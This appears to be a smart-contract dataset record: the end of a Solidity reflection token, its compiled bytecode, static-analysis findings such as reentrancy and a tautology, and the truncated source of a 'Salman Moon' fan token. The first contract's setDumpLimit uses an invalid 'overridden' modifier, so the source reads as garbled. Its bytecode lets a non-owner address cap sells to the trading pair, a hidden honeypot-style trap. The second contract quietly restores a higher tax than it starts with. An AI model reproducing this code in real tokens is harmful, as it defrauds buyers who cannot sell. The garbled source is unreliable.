(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setDumpLimit(uint256 limit) external overridden { _maxDump = limit; } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b1461026957806395d89b4114610294578063a9059cbb146102bf578063aac3cd03146102fc576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612487565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612037565b6103f6565b604051610162919061246c565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612609565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fe8565b610420565b6040516101ca919061246c565b60405180910390f35b3480156101df57600080fd5b506101e86104f9565b6040516101f5919061267e565b60405180910390f35b34801561020a57600080fd5b506102136104fe565b005b34801561022157600080fd5b5061023c60048036038101906102379190611f5a565b610578565b6040516102499190612609565b60405180910390f35b34801561025e57600080fd5b506102676105c9565b005b34801561027557600080fd5b5061027e61071c565b60405161028b919061239e565b60405180910390f35b3480156102a057600080fd5b506102a9610745565b6040516102b69190612487565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190612037565b610782565b6040516102f3919061246c565b60405180910390f35b34801561030857600080fd5b50610323600480360381019061031e919061209c565b6107a0565b005b34801561033157600080fd5b5061034c6004803603810190610347919061209c565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190611fac565b610e0f565b6040516103999190612609565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600481526020017f54686f7200000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b60006317d78400905090565b600061042d8484846110db565b6104ee84610439610f08565b6104e985604051806060016040528060288152602001612c1f60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049f610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053f610f08565b73ffffffffffffffffffffffffffffffffffffffff161461055f57600080fd5b600061056a30610578565b905061057581611476565b50565b60006105c2600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611770565b9050919050565b6105d1610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612569565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f54686f7200000000000000000000000000000000000000000000000000000000815250905090565b600061079661078f610f08565b84846110db565b6001905092915050565b6107a8610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080157600080fd5b80600a8190555050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612569565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db906125e9565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612569565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90612509565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166317d78400610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa49190611f83565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b609190611f83565b6040518363ffffffff1660e01b8152600401610b7d9291906123b9565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf9190611f83565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c5830610578565b600080610c6361071c565b426040518863ffffffff1660e01b8152600401610c859695949392919061240b565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd791906120c5565b5050506001600860166101000a81548160ff0219169083151502179055506317d78400600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba9291906123e2565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c9190612073565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f05816117de565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f77906125c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe7906124e9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612609565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611142906125a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b2906124a9565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612589565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612775565b11156112d357600080fd5b6112db61071c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611349575061131961071c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e230610578565b611476565b600047905060008111156113ff576113fe476117de565b5b505b5b61140d83838361184a565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190612487565b60405180910390fd5b506000838561146991906127cf565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156115025781602001602082028036833780820191505090505b5090503081600081518110611540577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115e257600080fd5b505afa1580156115f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161a9190611f83565b81600181518110611654577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116bb30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161171f959493929190612624565b600060405180830381600087803b15801561173957600080fd5b505af115801561174d573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b60006003548211156117b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ae906124c9565b60405180910390fd5b60006117c161185a565b90506117d6818461188590919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611846573d6000803e3d6000fd5b5050565b6118558383836118cf565b505050565b6000806000611867611a9a565b9150915061187e818361188590919063ffffffff16565b9250505090565b60006118c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aed565b905092915050565b6000806000806000806118e187611b50565b95509550955095509550955061193f86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb890919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2081611c60565b611a2a8483611d1d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a879190612609565b60405180910390a3505050505050505050565b6000806000600354905060006317d784009050611ac66317d7840060035461188590919063ffffffff16565b821015611ae0576003546317d78400935093505050611ae9565b81819350935050505b9091565b60008083118290611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b9190612487565b60405180910390fd5b5060008385611b439190612744565b9050809150509392505050565b6000806000806000806000806000611b6d8a600554600554611d57565b9250925092506000611b7d61185a565b90506000806000611b908e878787611ded565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bfa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611c1191906126ee565b905083811015611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90612529565b60405180910390fd5b8091505092915050565b6000611c6a61185a565b90506000611c818284611e7690919063ffffffff16565b9050611cd581600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0290919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d3282600354611bb890919063ffffffff16565b600381905550611d4d81600454611c0290919063ffffffff16565b6004819055505050565b600080600080611d836064611d75888a611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dad6064611d9f888b611e7690919063ffffffff16565b61188590919063ffffffff16565b90506000611dd682611dc8858c611bb890919063ffffffff16565b611bb890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611e068589611e7690919063ffffffff16565b90506000611e1d8689611e7690919063ffffffff16565b90506000611e348789611e7690919063ffffffff16565b90506000611e5d82611e4f8587611bb890919063ffffffff16565b611bb890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e895760009050611eeb565b60008284611e979190612775565b9050828482611ea69190612744565b14611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90612549565b60405180910390fd5b809150505b92915050565b600081359050611f0081612bd9565b92915050565b600081519050611f1581612bd9565b92915050565b600081519050611f2a81612bf0565b92915050565b600081359050611f3f81612c07565b92915050565b600081519050611f5481612c07565b92915050565b600060208284031215611f6c57600080fd5b6000611f7a84828501611ef1565b91505092915050565b600060208284031215611f9557600080fd5b6000611fa384828501611f06565b91505092915050565b60008060408385031215611fbf57600080fd5b6000611fcd85828601611ef1565b9250506020611fde85828601611ef1565b9150509250929050565b600080600060608486031215611ffd57600080fd5b600061200b86828701611ef1565b935050602061201c86828701611ef1565b925050604061202d86828701611f30565b9150509250925092565b6000806040838503121561204a57600080fd5b600061205885828601611ef1565b925050602061206985828601611f30565b9150509250929050565b60006020828403121561208557600080fd5b600061209384828501611f1b565b91505092915050565b6000602082840312156120ae57600080fd5b60006120bc84828501611f30565b91505092915050565b6000806000606084860312156120da57600080fd5b60006120e886828701611f45565b93505060206120f986828701611f45565b925050604061210a86828701611f45565b9150509250925092565b6000612120838361212c565b60208301905092915050565b61213581612803565b82525050565b61214481612803565b82525050565b6000612155826126a9565b61215f81856126cc565b935061216a83612699565b8060005b8381101561219b5781516121828882612114565b975061218d836126bf565b92505060018101905061216e565b5085935050505092915050565b6121b181612815565b82525050565b6121c081612858565b82525050565b60006121d1826126b4565b6121db81856126dd565b93506121eb81856020860161286a565b6121f4816128fb565b840191505092915050565b600061220c6023836126dd565b91506122178261290c565b604082019050919050565b600061222f602a836126dd565b915061223a8261295b565b604082019050919050565b60006122526022836126dd565b915061225d826129aa565b604082019050919050565b60006122756017836126dd565b9150612280826129f9565b602082019050919050565b6000612298601b836126dd565b91506122a382612a22565b602082019050919050565b60006122bb6021836126dd565b91506122c682612a4b565b604082019050919050565b60006122de6020836126dd565b91506122e982612a9a565b602082019050919050565b60006123016029836126dd565b915061230c82612ac3565b604082019050919050565b60006123246025836126dd565b915061232f82612b12565b604082019050919050565b60006123476024836126dd565b915061235282612b61565b604082019050919050565b600061236a6018836126dd565b915061237582612bb0565b602082019050919050565b61238981612841565b82525050565b6123988161284b565b82525050565b60006020820190506123b3600083018461213b565b92915050565b60006040820190506123ce600083018561213b565b6123db602083018461213b565b9392505050565b60006040820190506123f7600083018561213b565b6124046020830184612380565b9392505050565b600060c082019050612420600083018961213b565b61242d6020830188612380565b61243a60408301876121b7565b61244760608301866121b7565b612454608083018561213b565b61246160a0830184612380565b979650505050505050565b600060208201905061248160008301846121a8565b92915050565b600060208201905081810360008301526124a181846121c6565b905092915050565b600060208201905081810360008301526124c2816121ff565b9050919050565b600060208201905081810360008301526124e281612222565b9050919050565b6000602082019050818103600083015261250281612245565b9050919050565b6000602082019050818103600083015261252281612268565b9050919050565b600060208201905081810360008301526125428161228b565b9050919050565b60006020820190508181036000830152612562816122ae565b9050919050565b60006020820190508181036000830152612582816122d1565b9050919050565b600060208201905081810360008301526125a2816122f4565b9050919050565b600060208201905081810360008301526125c281612317565b9050919050565b600060208201905081810360008301526125e28161233a565b9050919050565b600060208201905081810360008301526126028161235d565b9050919050565b600060208201905061261e6000830184612380565b92915050565b600060a0820190506126396000830188612380565b61264660208301876121b7565b8181036040830152612658818661214a565b9050612667606083018561213b565b6126746080830184612380565b9695505050505050565b6000602082019050612693600083018461238f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126f982612841565b915061270483612841565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156127395761273861289d565b5b828201905092915050565b600061274f82612841565b915061275a83612841565b92508261276a576127696128cc565b5b828204905092915050565b600061278082612841565b915061278b83612841565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127c4576127c361289d565b5b828202905092915050565b60006127da82612841565b91506127e583612841565b9250828210156127f8576127f761289d565b5b828203905092915050565b600061280e82612821565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061286382612841565b9050919050565b60005b8381101561288857808201518184015260208101905061286d565b83811115612897576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b612be281612803565b8114612bed57600080fd5b50565b612bf981612815565b8114612c0457600080fd5b50565b612c1081612841565b8114612c1b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201cf2dd14e98836224b59f8f03b70089498c30a9c9d532202812bedbf723127a964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
6,786
0xc2E43c16a41950758616b6B51b1616433Ac94285
/* Salman Moon Token Fan token of legendary actor SALMAN KHAN - https://en.wikipedia.org/wiki/Salman_Khan $SALMAN Telegram: https://t.me/salmanmoontoken ...:::::::... ..:--==--------------==--::. .:-=----------------------------=--:. .:-=-----------================----------=-. :-=---------==+++++++++++++++++++++====-------=-. .-=--------==++++++++++++++++++++++++++++++==--------: .-=-----:-=+++++++++++====####%%#*####*+++++++++==------=: -=-----:-=++++++++=========*%#%#%#%###@@@@#*++++++++==-----=: :=-----:-=++++++=---=====++##*%%@%@*%%@#@@@@@@@%**++++++==------. -=----::=++++++=:.:-=++++*%%#%%%@%@%%%%@%@@@@@@@@@%##*+++++==----=: .=-----:=++++++++..:=++*###%%+%%*@##@@%@@@%@@@@@@@@@@####++++++=----=- .=----::=++++++++-.-=#%%@@@%%%*@*%#*@%@@@@%@@@@@@@@@@@%###*+++++++=----- .=----::=+++++++++:.-*%@@%*+*#%#@#%%#%%@@@@@@@@@@@@@@@@@####++++++++=---=: =----::=++++++++++..=*%@*......=%%@@@@@%##*+=-=#@@@@@@@@####+++++++++=---=. :=----:=++++++++++=.:==#@=.....:---=====--------=%@@@@@@@###*++++++++++=---= =----:-+++++++++++=.-==*%*....------------------=%@@@@@@%##*++++++++++++---=: :=----:+++++++++++++:-=+#@%:..:[email protected]@@@@@@###*++++++++++++=---= =----:-+++++++++++++==+#%%=...-------------------*%@@@@@#*###*++++++++++++---=. =----:=++++++++++++=-+*%%:....=--------------===---*%@@*+=###*++++++++++++----: =----.=++++++++++++=--*%+..:-*###*+---=--=*#%#*++=+*#@%=++###+++++++++++++=---- .=----.=******+++++++===*=..:=+##**#*+--++***##*+=+***@*+=+###*++++++++++++=---- =----.=##****+++#*++--*:...+-=*#***++--=*+++*#++==***@=*==###*+*#+++#*+**+----- =----:=**++##++#*#*+-=+-....:+++=--==--=*=-====---=**%++=###*+*#*#++#+##*+---=: -----::+***+++++++*++---....-------=:---==---------+**-=+###++++++++*++++=---=. .=----:=+++++++++++++=:.....-------:-=---+=-------=***+*#++++++++++++++++----= -----::+++++++++++++++=-...:-----=++==+*+=--------+**##*+++++++++++++++=---=. =----:-++++++++++++++++:...:-------=+=-----------=**##++++++++++++++++----- :=----:=+++++++++++++++=....:-------+=-----------=#+###++++++++++++++----= ------:=+++++++++++++++=:...--=++=+++++++*------**==*###*++++++++++----= -=----:-+++++++++++++++=...--=--=++++=-------=*#+=--=###++++++++=----=. :=-----:=++++++++++++++:..:---======-------=##=+=--+#*++++++++=----= .=-----:-+++++++++++++-..::-------------=*#*=++-=++++++++++=----=- -=-----:-+++++++++++=..:-=----------+*#*=-===++++++++++==----=. .-=-------=+++++++++:.:-=+++++++****+=-==+++++++++++=-----=: .-=--------=++++++-..-----=====--===+++++++++++==-----=: .-=---------==++=:.:----=====++++++++++++===-----==: :-=-----------===++++++++++++++=====-------==-. .-==---------------------------------=-:. .:--=----------------------==--:. ..::-----=====-----::. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SalmanMoon is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Salman Moon"; string private constant _symbol = "SALMAN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( 